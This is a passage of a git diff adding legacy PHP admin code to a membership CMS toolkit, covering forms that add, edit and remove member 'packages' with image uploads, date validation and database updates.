+       //      }}}
+
+       //      {{{ updateData()
+
+    /**
+     * Update the data for an amenity
+     * 
+     * @param array $values submitted form results
+     *
+     * @return boolean result of sql update query
+     * @access protected
+     */
+       protected function updateData($values)
+       {
+        $values['last_update'] = date('m/d/Y');
+               //      We aren't updating a region, we're deleting it.
+               if (array_key_exists('delete', $values)) {
+                       return $this->deleteHtmlEmail($_GET['id']);
+               }
+
+        $sql = Toolkit_Common::createSQLUpdate(
+            $this->tableName,
+            array_keys($values),
+            array('id = :id')
+        );
+        
+        $values['id'] = $_GET['id'];
+        try {
+            return Toolkit_Common::processQuery($this->dbh, $sql, $values);
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+       }
+
+       //      }}}
+
+       //      {{{ toHTML()
+
+       /**
+        * Renders the form for viewing
+        *
+        * This function validates the form if needed, and if it successfully
+        * validates attempts to insert or update the data record.
+        * If it is unsuccessful, it will return an error to the user
+        * informing them of what went wrong.
+        *
+        * @return string The compiled and filled form template.
+        * @access public
+        */
+       public function toHtml()
+       {
+               $listPage = BASE_URL . 'admin/members.php?cat=8&subCat=1';
+               return parent::toHtml($listPage);
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Admin/EditPackages.php b/Toolkit/Members/Admin/EditPackages.php
new file mode 100644 (file)
index 0000000..0e9b4d4
--- /dev/null
@@ -0,0 +1,1523 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Handles the packages tab in the member record
+ * 
+ * Controls setting up the add package form if applicable, and rendering
+ * each uploaded package edit form to edit/delete the package.
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: EditPackages.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ * @see       Toolkit/Image/Server.php
+ */
+
+
+/**
+ * The image server processing class
+ */
+require_once BASE . 'Toolkit/Image/Server.php';
+
+/**
+ * Constructor class to setup the page layout
+ * 
+ * this class determines if the user can upload any more packages to their
+ * account and if so renders the add package form.  It also controls
+ * rending the individual forms for each previously uploaded package.
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_Admin_EditPackages
+{
+       //      {{{ properties
+
+       /**
+        * The table name in the database used to store the data
+        * @var string
+        * @access public
+        */
+       public $tableName = 'member_packages';
+
+    /**
+     * Template used to layout form when editing a package
+     * @var    string   
+     * @access protected
+     */
+       protected $pageTemplate = 'editPackages.tpl';
+       
+       /**
+        * Sets the max number of packages allowed for each listing
+        * @var integer
+        * @access protected
+        */
+       protected $maxPackages = 2;
+
+    /**
+     * What is the maximum caption length for packages
+        *
+     * @var    array 
+     * @access public
+     * @static
+     */
+       static public $maxTitleLength = 60;
+
+    /**
+     * Objects that will go into the page (add form, edit package forms)
+     * @var    object   
+     * @access protected
+     */
+       protected $page;
+
+    /**
+     * Description for protected
+     * @var    unknown  
+     * @access protected
+     */
+    protected $dbh;
+
+       //      }}}
+
+    //  {{{ __construct()
+
+    /**
+     * Constructor
+     * 
+     * @param PDO                 $pdo     PHP Data Object to use for DB calls
+     * @param HTML_Template_Flexy $tEngine Templating Engine
+     *
+     * @return void   
+     * @access public 
+     */
+    public function __construct(PDO $pdo, HTML_Template_Flexy $tEngine)
+    {
+        $this->dbh = $pdo;
+        $this->tEngine = $tEngine;
+    }
+
+    //  }}}
+
+       //      {{{     canAddPackages()
+
+       /**
+        * Determine if this member can have more packages added to their profile
+        *
+        * Load the entire package gallery into member via a linked list.
+        * Then return if the # of linked list nodes is smaller than
+        * the maximum limit of packages.
+        *
+        * @access protected
+        * @return boolean If the linked list is smaller than max packages allowed
+        */
+       protected function canAddPackages()
+       {
+               $ll = new Toolkit_Members_Packages(null, $_GET['id']);
+        $ll->setDbh($this->dbh);
+               $ll->createMemberList();
+               return ($ll->getListSize() < $this->maxPackages);
+       }
+
+       //      }}}
+
+       //      {{{     displayPage()
+
+    /**
+     * Displays the page to the screen
+     *
+     * @param Toolkit_Members_RecordNavigation $nav Record subnav object
+     * 
+     * @return void  
+     * @access public
+     */
+       public function displayPage(Toolkit_Members_RecordNavigation $nav)
+       {
+               echo $this->getPage($nav);
+       }
+
+       //      }}}
+
+       //      {{{     getPage()
+
+    /**
+     * Sets up the flexy template and returns the rendered page
+     * 
+     * @param Toolkit_Members_RecordNavigation $nav record subnav object
+     *
+     * @return object rendered page
+     * @access public
+     */
+       public function getPage(Toolkit_Members_RecordNavigation $nav)
+       {
+               $this->page->nav = $nav->getPageNav();
+               $this->tEngine->compile($this->pageTemplate);
+               return $this->tEngine->bufferedOutputObject($this->page);
+       }
+
+       //      }}}
+
+       //      {{{     getUploadedPackages()
+
+       /**
+        * Get an array of package ids from the DB that have been uploaded for this member
+        *
+        * - Create a linked list of all the members packages
+        * - Walk through the linked list extracting the id from each node into an array
+        * 
+        * @access protected
+        * @return array Ids of all uploaded packages for this member
+        */
+       protected function getUploadedPackages()
+       {
+               $packages = new Toolkit_Members_Packages(null, $_GET['id']);
+        $packages->setDbh($this->dbh);
+               $packages->createMemberList();
+               $packages->rewind();
+
+               $ids = array();
+               foreach ($packages as $i) {
+                       //      Don't show the pending packages here.
+                       if (!$i->getPending()) {
+                               $ids[] = $i->getId();
+                       }
+               }
+
+               return $ids;
+       }
+
+       //      }}}
+
+       //      {{{     setUpPage()
+
+       /**
+        * Sets up the page to manipulate packages for a member
+        *
+        * Checks if all the packages uploaded for a member (pending & non-pending)
+        * exceed or match the maximum # of packages allowed for each member to 
+        * upload to their account.
+        *
+        * For every package that is already uploaded, create an edit-package form that
+        * will allow the user to update the caption or delete the package.
+        *
+        * @return void
+        * @access public
+        */
+       public function setUpPage()
+       {
+               $this->page = new StdClass;
+
+               //      Find out if we can still add packages to the record.
+               //      If we can, then add the upload form to the page for the member to see.
+               if ($this->canAddPackages()) {
+                       $addForm = new AddAdminPackage($this->dbh,
+                                           'new_member_package',
+                                           'post',
+                                           '',
+                                           '',
+                                           null,
+                                           true);
+
+            $addForm->configureForm();
+                       $this->page->uploadForm = $addForm->toHtml($this->tEngine);
+               }
+
+               //      Find out if we have any packages already uploaded.
+               //      If we do, then add the edit package form to the page for each package
+               //      so the member can edit/delete their packages.
+               if ($packages = $this->getUploadedPackages()) {
+                       $this->page->editForm = array();
+                       while (list($i, $j) = each($packages)) {
+                               $editForm = new EditAdminPackage($this->dbh,
+                                                 "edit_member_package_$j",
+                                                 'post',
+                                                 '',
+                                                 '',
+                                                 array('id' => $j),
+                                                 true);
+
+                $editForm->configureForm();
+                               $this->page->editForm[] = $editForm->toHtml($this->tEngine);
+                       }
+               }
+       }
+
+       //      }}}
+}
+
+/**
+ * Form to handle creating a new package in the members only area
+ * 
+ * Handles inserting new package into db as a pending package and creating a
+ * tuple in the member_updates table which will allow the admin to
+ * approve/deny the new package request.
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class AddAdminPackage extends Toolkit_FormBuilder
+{
+       //      {{{ properties
+
+       /**
+        * The table name in the database used to store the data
+        *
+        * @var string
+        * @access public
+        */
+       public $tableName = 'member_packages';
+
+       /**
+        * The template used to render the form
+        *
+        * @var string
+        * @access protected
+        */
+       protected $formTemplate = 'addPackage.tpl';
+
+    /**
+     * Description for protected
+     * @var    array    
+     * @access protected
+     */
+       protected $registeredRules = array();
+
+    /**
+     * Description for protected
+     * @var    string   
+     * @access protected
+     */
+    protected $successMsg
+        = '<div id="form-success-top">
+            You successfully uploaded your package.
+           </div>';
+
+    /**
+     * Description for protected
+     * @var    array    
+     * @access protected
+     */
+       protected $mimeTypes = array(
+        'image/jpe',
+        'image/jpeg',
+        'image/jpg',
+        'image/jfif',
+        'image/pjpeg',
+        'image/pjp',
+        'image/gif',
+        'image/png',
+    );
+
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+        * @param PDO    $pdo         PHP Data Object to use for DB calls
+        * @param string $formName    Form's name.
+        * @param string $method      (optional) Form's method defaults to 'POST'
+        * @param string $action      (optional) Form's action.
+        * @param string $target      (optional) Form's target defaults to '_self'
+        * @param mixed  $attributes  (optional) Extra attributes for <form> tag.
+        * @param bool   $trackSubmit (optional) Whether to track if the form was
+        *                                                                               submitted by adding a special hidden
+        *                                                                               field.
+        *
+        * @access public
+        * @see    Toolkit_Members_Admin_EditPackages
+        */
+       public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+        $this->dbh = $pdo;
+       }
+
+       //      }}}
+
+    //  {{{ configureForm()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return void  
+     * @access public
+     */
+    public function configureForm()
+    {
+        $this->configureElements();
+        $this->configureFilters();
+        $this->configureRules();
+    }
+
+    //  }}}
+       //      {{{ configureElements()
+
+       /**
+        * Setup the elements to use on the form.
+        *
+        * @return void
+        * @access public
+        */
+       public function configureElements()
+       {
+               $e = array();
+               //      All Grouped Elements are created here.
+
+               //      All Elements are created here.  This includes group element definitions.
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'title',
+            'display' => 'Package Title',
+               );
+               $e[] = array(
+                       'type'    => 'textarea',
+                       'req'     => false,
+                       'name'    => 'description',
+            'display' => 'Package Description',
+               );
+        $e[] = array(
+            'type'    => 'date',
+            'req'     => true,
+            'name'    => 'sdate',
+            'display' => 'Start Date',
+            'opts'    => array(
+                'format'           => 'm / d / Y',
+                'minYear'          => date('Y'),
+                'maxYear'          => date('Y') + 10,
+                'addEmptyOption'   => true,
+                'emptyOptionValue' => '',
+                'emptyOptionText'  => array(
+                    'm' => 'mm',
+                    'd' => 'dd',
+                    'Y' => 'yyyy',
+                ),
+            )
+        );
+        $e[] = array(
+            'type'    => 'date',
+            'req'     => true,
+            'name'    => 'edate',
+            'display' => 'End Date',
+            'opts'    => array(
+                'format'           => 'm / d / Y',
+                'minYear'          => date('Y'),
+                'maxYear'          => date('Y') + 10,
+                'addEmptyOption'   => true,
+                'emptyOptionValue' => '',
+                'emptyOptionText'  => array(
+                    'm' => 'mm',
+                    'd' => 'dd',
+                    'Y' => 'yyyy',
+                ),
+            )
+        );
+        $e[] = array(
+            'type'    => 'checkbox',
+            'req'     => false,
+            'name'    => 'remove_img_rmv',
+            'display' => 'Remove Image',
+        );
+        $e[] = array(
+            'type'    => 'static',
+            'req'     => false,
+            'name'    => 'curr_image',
+            'display' => 'Current Image',
+        );
+        $e[] = array(
+            'type'    => 'hidden',
+            'req'     => false,
+            'name'    => 'curr_image_rmv',
+        );
+               $e[] = array(
+                       'type'    => 'file',
+                       'req'     => false,
+                       'name'    => 'image',
+            'display' => 'Upload a Package Photo / Image',
+               );
+               $e[] = array(
+                       'type'    => 'submit',
+                       'req'     => false,
+                       'name'    => 'add_rmv',
+                       'display' => 'Upload new package',
+                       'opts'    => array('class' => 'submit')
+               );
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+       //      {{{ configureRules()
+
+    /**
+     * Configure rules for form
+     * 
+     * @return void  
+     * @access public
+     */
+       public function configureRules()
+       {
+               $r = array();
+
+        $checkDate = create_function('$d', '$d = implode("-", $d); return Validate::date($d, array("format" => "%n-%j-%Y"));');
+               $r[] = array(
+                       'element'    => 'sdate',
+                       'message'    => 'ERROR: Invalid Date!',
+                       'type'       => 'callback',
+                       'format'     => $checkDate,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'edate',
+                       'message'    => 'ERROR: Invalid Date!',
+                       'type'       => 'callback',
+                       'format'     => $checkDate,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'image',
+                       'message'    => 'ERROR: Incorrect File Type (.gif, .png, .jpg) only!',
+                       'type'       => 'mimetype',
+                       'format'     => $this->mimeTypes,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+
+               $this->setupRules($r);
+       }
+
+       //      }}}
+       //      {{{ configureConstants()
+
+    /**
+     * Configure constants for form
+     * 
+     * @return void  
+     * @access public
+     */
+       public function configureConstants()
+       {
+               $c = array(
+            'remove_img_rmv' => false
+        );
+
+               $this->setupConstants($c);
+       }
+
+       //      }}}
+       //      {{{ configureFilters()
+
+    /**
+     * Configure filters for form
+     * 
+     * @return void  
+     * @access public
+     */
+       public function configureFilters()
+       {
+               $f = array();
+
+        $f[] = array(
+            'element' => '__ALL__',
+            'filter' => 'trim'
+        );
+
+               $this->setupFilters($f);
+       }
+
+       //      }}}
+
+    //  {{{ deleteImage()
+
+    /**
+     * Remove an image record
+     * 
+     * @param Toolkit_Image_Server $is  Image Server Object
+     * @param string               $img image name
+     *
+     * @return object    Return description (if any) ...
+     * @access protected
+     */
+    protected function deleteImage(Toolkit_Image_Server $is, $img)
+    {
+        return $is->imageDelete($img);
+    }
+
+    //  }}}
+
+       //      {{{ insertData()
+
+    /**
+     * Create a new package in the db
+     * 
+     * @param array &$values Form submitted values
+        *
+     * @return object    db result of adding package
+     * @access protected
+     */
+       protected function insertData(&$values)
+       {
+               try {
+            $sql = Toolkit_Common::createSQLInsert(
+                $this->tableName,
+                array_keys($values)
+            );
+
+            return Toolkit_Common::processQuery($this->dbh, $sql, $values);
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+        //     }}}
+
+       //      {{{ processData()
+
+       /**
+        * Handles setting up the from processing and which function to get it done
+        *
+        * @param array $values Submitted values from the form.
+        *
+        * @return void
+        * @access protected
+        */
+       protected function processData($values)
+       {
+        $cache = new Cache_Lite(Toolkit_Members::getCacheOptions());
+        $cache->remove("Member_Profile-{$_GET['id']}", 'Dynamic');
+
+        $e =& $this->getElement('curr_image_rmv');
+
+               $packages = new Toolkit_Members_Packages(null, $_GET['id']);
+        $packages->setDbh($this->dbh);
+               $packages->createMemberList();
+               $values['pos']       = $packages->getListSize() + 1;
+        $values['image'] = $e->getValue('curr_image_rmv');
+               $values['member_id'] = $_GET['id'];
+               $values['pending']   = 0;
+        $values['sdate'] = implode('-', $values['sdate']);
+        $values['edate'] = implode('-', $values['edate']);
+               unset($values['MAX_FILE_SIZE'],
+                         $values['curr_image_rmv'],
+                         $values['remove_img_rmv'],
+              $values['add_rmv']);
+
+               Toolkit_Common::getTableMetaData();
+               $this->insertData($values);
+
+               $listPage = BASE_URL .
+                       "admin/members.php?cat=2&subCat=2&tab=3&id={$_GET['id']}";
+               header("Location: $listPage");
+       }
+
+       //      }}}
+
+       //      {{{ setupRenderers()
+
+    /**
+     * Set up the rendering engine we are going to use to display this form
+     * 
+     * @param HTML_Template_Flexy &$tEngine Templating Engine
+     *
+     * @return void     
+     * @access protected
+     */
+       protected function setupRenderers(HTML_Template_Flexy &$tEngine)
+       {
+               $renderer =& new HTML_QuickForm_Renderer_ObjectFlexy($tEngine);
+
+               $this->accept($renderer);
+               $this->view              = new stdClass();
+        $this->view->showCurrImg = $this->showCurrImg;
+               $this->view->form        = $renderer->toObject();
+               $tEngine->compile($this->formTemplate);
+       }
+
+       //      }}}
+
+    //  {{{ validNewImg()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array $newImg Parameter description (if any) ...
+     *
+     * @return mixed  Return description (if any) ...
+     * @access public
+     */
+    function validNewImg(array $newImg)
+    {
+        return (is_numeric($newImg['size']) &&
+                $newImg['size'] > 0 &&
+                in_array($newImg['type'], $this->mimeTypes));
+    }
+
+    //  }}}
+    //  {{{ removeOldImage()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $is     Parameter description (if any) ...
+     * @param unknown $oldImg Parameter description (if any) ...
+     *
+     * @return void   
+     * @access public 
+     */
+    function removeOldImage(Toolkit_Image_Server $is, $oldImg)
+    {
+        $this->deleteImage($is, $oldImg);
+        if ($this->elementExists('curr_image_rmv')) {
+            $e =& $this->getElement('curr_image_rmv');
+            $e->setValue(null);
+            $this->_submitValues['curr_image_rmv'] = null;
+        }
+    }
+
+    //  }}}
+    //  {{{ syncCurrImage()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return void     
+     * @access protected
+     */
+    protected function syncCurrImage()
+    {
+        $is = new Toolkit_Image_Server();
+
+        $delImg = $this->getSubmitValue('remove_img_rmv');
+        $oldImg = $this->getSubmitValue('curr_image_rmv');
+        $newImg = $this->getSubmitValue('image');
+
+        if ($delImg && $oldImg) {
+            $this->removeOldImage($is, $oldImg);
+            unset($oldImg);
+        } elseif ($oldImg && $this->validNewImg($newImg)) {
+            $this->removeOldImage($is, $oldImg);
+            unset($oldImg);
+        }
+
+        if ($this->validNewImg($newImg)) {
+            $image = $this->uploadImage($is, 'image');
+        } else {
+            $image = $oldImg;
+        }
+
+        if ($image) {
+            $this->updatePhotoElements($is, $image);
+            $this->showCurrImg = true;
+        }
+    }
+
+    //  }}}
+       //      {{{ toHtml()
+
+       /**
+        * Renders the form
+        *
+        * sets the page the form should be redirected to instead of coming back
+        * around to itself.
+        *
+     * @param HTML_Template_Flexy $tEngine Templating Engine
+        *
+        * @return string The rendered form
+        * @access public
+        */
+       public function toHtml(HTML_Template_Flexy $tEngine)
+       {
+               //      We need to validate (and freeze if needed)
+               //      before we render the form. That way the
+               //      template knows about any errors on the form.
+               $this->validated = $this->validate();
+
+        //  If they have submitted the form and uploaded a proper image
+        //  but some other element had an error, then we need to show
+        //  their uploaded image in the form
+        if ($this->isSubmitted()) {
+            $this->syncCurrImage();
+        }
+
+               $this->setupRenderers($tEngine);
+
+               if ($this->validated) {
+                       $processed = $this->process(
+                array(&$this, 'processData'),
+                $this->mergeFiles
+            );
+               }
+
+               return $tEngine->bufferedOutputObject($this->view);
+       }
+
+       //      }}}
+
+    //  {{{ updatePhotoElements()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param object $is    Parameter description (if any) ...
+     * @param string $image Parameter description (if any) ...
+     *
+     * @return void  
+     * @access public
+     */
+    public function updatePhotoElements(Toolkit_Image_Server $is, $image)
+    {
+        //  Get the dimensions of the image
+        $dimensions = $is->getImageSize(MEMBER_PHOTOS . $image);
+        if (PEAR::isError($dimensions)) {
+            Toolkit_Common::handleError($dimensions);
+        }
+        list($w, $h) = $dimensions;
+        $s = MEMBER_PHOTOS . $image;
+
+        //  Set the image to show in the element
+        $e =& $this->getElement('curr_image');
+        $e->setText('<img width="'.$w.'" height="'.$h.'" src="'.$s.'">');
+
+        //  updated the hidden elements value to make sure it
+        //  holds the most up-to-date image name
+        $e =& $this->getElement('curr_image_rmv');
+        $e->setValue($image);
+    }
+
+    //  }}}
+    //  {{{ uploadImage()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param object  $is    Parameter description (if any) ...
+     * @param unknown $field Parameter description (if any) ...
+     *
+     * @return object    Return description (if any) ...
+     * @access protected
+     */
+    protected function uploadImage(Toolkit_Image_Server $is, $field)
+    {
+        return $is->imageUpload($field);
+    }
+
+    //  }}}
+}
+
+/**
+ * Form to handle editing/deleting existing packages in members only area
+ * 
+ * Handles updating caption requests for a member or to remove a
+ * package from thier profile
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class EditAdminPackage extends Toolkit_FormBuilder
+{
+       //      {{{ properties
+
+       /**
+        * The table name in the database used to store the data
+        *
+        * @var string
+        * @access public
+        */
+       public $tableName = 'member_packages';
+
+       /**
+        * The template used to render the form
+        *
+        * @var string
+        * @access protected
+        */
+       protected $formTemplate = 'editPackage.tpl';
+
+    /**
+     * Id of package in db
+     * @var    integer  
+     * @access protected
+     */
+       protected $packageId;
+
+    /**
+     * Description for protected
+     * @var    string   
+     * @access protected
+     */
+    protected $successMsg
+        = '<div id="form-success-top">
+            You successfully updated your package.
+           </div>';
+
+    /**
+     * Any rules we want to register for this form
+     * @var    array    
+     * @access protected
+     */
+       protected $registeredRules = array();
+
+    /**
+     * Description for protected
+     * @var    array    
+     * @access protected
+     */
+       protected $mimeTypes = array(
+        'image/jpe',
+        'image/jpeg',
+        'image/jpg',
+        'image/jfif',
+        'image/pjpeg',
+        'image/pjp',
+        'image/gif',
+        'image/png',
+    );
+       
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+        * @param PDO    $pdo         PHP Data Object to use for DB calls
+        * @param string $formName    Form's name.
+        * @param string $method      (optional) Form's method defaults to 'POST'
+        * @param string $action      (optional) Form's action.
+        * @param string $target      (optional) Form's target defaults to '_self'
+        * @param mixed  $attributes  (optional) Extra attributes for <form> tag.
+        * @param bool   $trackSubmit (optional) Whether to track if the form was
+        *                                                                               submitted by adding a special hidden
+        *                                                                               field.
+        *
+        * @access public
+        * @see    Toolkit_Members_Admin_EditPackages
+        */
+       public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+       
+               $this->packageId = $attributes['id'];
+               $this->packages  = new Toolkit_Members_Packages(null, $_GET['id']);
+        $this->packages->setDbh($pdo);
+               $this->packages->createMemberList();
+        $this->dbh = $pdo;
+       }
+
+       //      }}}
+
+    //  {{{ configureForm()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return void  
+     * @access public
+     */
+    public function configureForm()
+    {
+        $this->configureElements();
+        $this->configureDefaults();
+        $this->configureFilters();
+        $this->configureRules();
+    }
+
+    //  }}}
+       //      {{{ configureDefaults()
+
+       /**
+        * Setup the element default values for form
+        *
+        * @access public
+        * @see    Toolkit_FormBuilder::setupDefaults()
+        * @return void
+        */
+       public function configureDefaults()
+       {
+        $sql = "
+            SELECT *
+              FROM {$this->tableName}
+             WHERE id = {$this->packageId}";
+
+        $defaults = $this->dbh->query($sql)->fetch(PDO::FETCH_ASSOC);
+        $defaults['curr_image_rmv'] = $defaults['image'];
+        $img = '<img src="%s">';
+        $defaults['curr_image'] = sprintf($img, MEMBER_PHOTOS . $defaults['image']);
+        $this->showCurrImg = $defaults['image'];
+               $this->setupDefaults($defaults);
+       }
+
+       //      }}}
+       //      {{{ configureElements()
+
+       /**
+        * Setup the elements to use on the form.
+        *
+        * @access public
+        * @see    Toolkit_FormBuilder::setupElements()
+        * @return void
+        */
+       public function configureElements()
+       {
+               $e = array();
+               //      All Grouped Elements are created here.
+
+               //      All Elements are created here.  This includes group element definitions.
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'title',
+            'display' => 'Package Title',
+               );
+               $e[] = array(
+                       'type'    => 'textarea',
+                       'req'     => false,
+                       'name'    => 'description',
+            'display' => 'Package Description',
+               );
+        $e[] = array(
+            'type'    => 'date',
+            'req'     => true,
+            'name'    => 'sdate',
+            'display' => 'Start Date',
+            'opts'    => array(
+                'format'           => 'm / d / Y',
+                'minYear'          => date('Y'),
+                'maxYear'          => date('Y') + 10,
+                'addEmptyOption'   => true,
+                'emptyOptionValue' => '',
+                'emptyOptionText'  => array(
+                    'm' => 'mm',
+                    'd' => 'dd',
+                    'Y' => 'yyyy',
+                ),
+            )
+        );
+        $e[] = array(
+            'type'    => 'date',
+            'req'     => true,
+            'name'    => 'edate',
+            'display' => 'End Date',
+            'opts'    => array(
+                'format'           => 'm / d / Y',
+                'minYear'          => date('Y'),
+                'maxYear'          => date('Y') + 10,
+                'addEmptyOption'   => true,
+                'emptyOptionValue' => '',
+                'emptyOptionText'  => array(
+                    'm' => 'mm',
+                    'd' => 'dd',
+                    'Y' => 'yyyy',
+                ),
+            )
+        );
+        $e[] = array(
+            'type'    => 'checkbox',
+            'req'     => false,
+            'name'    => 'remove_img_rmv',
+            'display' => 'Remove Image',
+        );
+        $e[] = array(
+            'type'    => 'static',
+            'req'     => false,
+            'name'    => 'curr_image',
+            'display' => 'Current Image',
+        );
+        $e[] = array(
+            'type'    => 'hidden',
+            'req'     => false,
+            'name'    => 'curr_image_rmv',
+        );
+               $e[] = array(
+                       'type'    => 'file',
+                       'req'     => false,
+                       'name'    => 'image',
+            'display' => 'Upload a Package Photo / Image',
+               );
+               $e[] = array(
+                       'type'    => 'submit',
+                       'req'     => false,
+                       'name'    => 'add_rmv',
+                       'display' => 'Update Package',
+                       'opts'    => array('class' => 'submit')
+               );
+               $e[] = array(
+                       'type'    => 'submit',
+                       'req'     => false,
+                       'name'    => 'remove_rmv',
+                       'display' => 'Remove Package',
+                       'opts'    => array('class' => 'submit')
+               );
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+       //      {{{ configureRules()
+
+    /**
+     * Configure rules for form
+     * 
+     * @return void  
+     * @access public
+     */
+       public function configureRules()
+       {
+               $r = array();
+
+        $checkDate = create_function('$d', '$d = implode("-", $d); return Validate::date($d, array("format" => "%n-%j-%Y"));');
+               $r[] = array(
+                       'element'    => 'sdate',
+                       'message'    => 'ERROR: Invalid Date!',
+                       'type'       => 'callback',
+                       'format'     => $checkDate,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'edate',
+                       'message'    => 'ERROR: Invalid Date!',
+                       'type'       => 'callback',
+                       'format'     => $checkDate,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'image',
+                       'message'    => 'ERROR: Incorrect File Type (.gif, .png, .jpg) only!',
+                       'type'       => 'mimetype',
+                       'format'     => $this->mimeTypes,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+
+               $this->setupRules($r);
+       }
+
+       //      }}}
+       //      {{{ configureConstants()
+
+    /**
+     * Configure constants for form
+     * 
+     * @return void  
+     * @access public
+     */
+       public function configureConstants()
+       {
+               $c = array(
+            'remove_img_rmv' => false
+        );
+
+               $this->setupConstants($c);
+       }
+
+       //      }}}
+       //      {{{ configureFilters()
+
+    /**
+     * Configure filters for form
+     * 
+     * @return void  
+     * @access public
+     */
+       public function configureFilters()
+       {
+               $f = array();
+
+        $f[] = array(
+            'element' => '__ALL__',
+            'filter' => 'trim'
+        );
+
+               $this->setupFilters($f);
+       }
+
+       //      }}}
+
+    //  {{{ deleteImage()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param object  $is  Parameter description (if any) ...
+     * @param unknown $img Parameter description (if any) ...
+     *
+     * @return object    Return description (if any) ...
+     * @access protected
+     */
+    protected function deleteImage(Toolkit_Image_Server $is, $img)
+    {
+        return $is->imageDelete($img);
+    }
+
+    //  }}}
+
+       //      {{{ processData()
+
+       /**
+        * Handles setting up the from processing and which function to get it done
+        *
+        * @param array $values Submitted values from the form.
+        *
+        * @return void
+        * @access protected
+        */
+       protected function processData($values)
+       {
+        $cache = new Cache_Lite(Toolkit_Members::getCacheOptions());
+        $cache->remove("Member_Profile-{$_GET['id']}", 'Dynamic');
+
+        $e =& $this->getElement('curr_image_rmv');
+
+        $values['image'] = $e->getValue('curr_image_rmv');
+        $values['sdate'] = implode('-', $values['sdate']);
+        $values['edate'] = implode('-', $values['edate']);
+               unset($values['MAX_FILE_SIZE'],
+                         $values['curr_image_rmv'],
+                         $values['remove_img_rmv'],
+              $values['add_rmv']);
+
+               Toolkit_Common::getTableMetaData();
+               $this->updateData($values);
+
+               $listPage = BASE_URL .
+                       "admin/members.php?cat=2&subCat=2&tab=3&id={$_GET['id']}";
+               header("Location: $listPage");
+       }
+
+       //      }}}
+
+       //      {{{ setupRenderers()
+
+    /**
+     * Set up the rendering engine we are going to use to display this form
+     * 
+     * @param HTML_Template_Flexy &$tEngine Templating Engine
+     *
+     * @return void     
+     * @access protected
+     */
+       protected function setupRenderers(HTML_Template_Flexy &$tEngine)
+       {
+               $renderer =& new HTML_QuickForm_Renderer_ObjectFlexy($tEngine);
+
+               $this->accept($renderer);
+               $this->view              = new stdClass();
+        $this->view->showCurrImg = $this->showCurrImg;
+               $this->view->form        = $renderer->toObject();
+               $tEngine->compile($this->formTemplate);
+       }
+
+       //      }}}
+
+    //  {{{ validNewImg()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array $newImg Parameter description (if any) ...
+     *
+     * @return mixed  Return description (if any) ...
+     * @access public
+     */
+    function validNewImg(array $newImg)
+    {
+        return (is_numeric($newImg['size']) &&
+                $newImg['size'] > 0 &&
+                in_array($newImg['type'], $this->mimeTypes));
+    }
+
+    //  }}}
+    //  {{{ removeOldImage()
+
+    /**
+     * Short description for function
+     * 
